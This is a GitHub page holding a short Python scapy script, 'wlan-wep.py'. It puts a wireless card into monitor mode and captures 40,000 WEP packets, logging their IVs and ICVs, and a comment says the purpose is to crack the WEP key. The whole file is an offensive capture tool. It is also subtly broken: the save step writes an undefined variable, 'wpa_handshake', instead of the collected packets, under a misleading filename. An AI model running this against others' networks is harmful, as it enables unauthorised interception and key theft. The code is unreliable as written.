-
Notifications
You must be signed in to change notification settings - Fork 67
/
wlan-wep.py
35 lines (26 loc) · 932 Bytes
/
wlan-wep.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3
import sys
from scapy.all import *
iface = "wlp2s0"
iwconfig_cmd = "/usr/sbin/iwconfig"
nr_of_wep_packets = 40000
packets = []
# This function will be called for every sniffed packet
def handle_packet(packet):
# Got WEP packet?
if packet.haslayer(Dot11WEP):
packets.append(packet)
print("Paket " + str(len(packets)) + ": " + \
packet[Dot11].addr2 + " IV: " + str(packet.iv) + \
" Keyid: " + str(packet.keyid) + \
" ICV: " + str(packet.icv))
# Got enough packets to crack wep key?
# Save them to pcap file and exit
if len(packets) == nr_of_wep_packets:
wrpcap("wpa_handshake.pcap", wpa_handshake)
sys.exit(0)
# Set device into monitor mode
os.system(iwconfig_cmd + " " + iface + " mode monitor")
# Start sniffing
print("Sniffing on interface " + iface)
sniff(iface=iface, prn=handle_packet)